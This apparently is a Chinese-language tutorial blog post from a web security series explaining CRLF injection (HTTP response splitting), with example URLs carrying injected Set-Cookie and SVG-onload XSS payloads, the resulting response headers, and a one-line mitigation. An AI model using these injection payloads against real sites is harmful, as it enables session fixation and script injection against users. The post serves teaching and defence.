iT邦幫忙

第 11 屆 iThome 鐵人賽

DAY 25
1
Security

Web Security 魔法使攻略系列 第 25

Web Security 魔法使攻略─CRLF Injection

正文

CRLF 是什麼

CRLF 由 \r\n 組成
當瀏覽器發送請求去伺服器的時候,伺服器會回傳回應
headers 跟 body 之間利用 CRLF 之間做區隔

server 會透過 CRLF 來透過 headers 跟 headers 之間做區隔
CRLF 是透過 HTTP 1.1 的標準

任何伺服器軟體 ( Apache , IIS , Nginx ) 都認得CRLF

CRLF injection

在可以輸入的地方塞入 CRLF 企圖欺騙 server
讓 server 以為這個請求已經結束
而且 CRLF 並不算是惡意字串,卻可以做到惡意的目的。

又叫做 HTTP Response Splitting,簡稱HRS

舉個例子

有些網站透過 http header 中的 location 的方法來跳轉
302 轉跳

HTTP/1.1 302 Moved Temporarily
Date: Fri, 11 Oct 2019 21:16:17 GMT
Content-Type: text/html
Content-Length: 114
Connection: close
Location: http://www.feifei.com.tw

假設網址http://www.feifei.com.tw/?url=%0aSet-cookie:JSPSESSID%3d12345678

HTTP/1.1 302 Moved Temporarily
Date: Fri, 11 Oct 2019 21:17:17 GMT
Content-Type: text/html
Content-Length: 114
Connection: close
Location: http://www.feifei.com.tw/?url=
set-cookie:JSPSESSID=12345678

這樣 session 就被我們固定住了

或是 XSS 的利用

http://www.feifei.com.tw/?url=%0a<svg/οnlοad=prompt(1)>

HTTP/1.1 302 Moved Temporarily
Date: Fri, 11 Oct 2019 21:18:17 GMT
Content-Type: text/html
Content-Length: 114
Connection: close
Location: http://www.feifei.com.tw/?url=
<svg/οnlοad=prompt(1)>

如何預防

過濾 \r , \n 即可


上一篇
Web Security 魔法使攻略─XXE
下一篇
Web Security 魔法使攻略─OWASP TOP 10
系列文
Web Security 魔法使攻略30
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言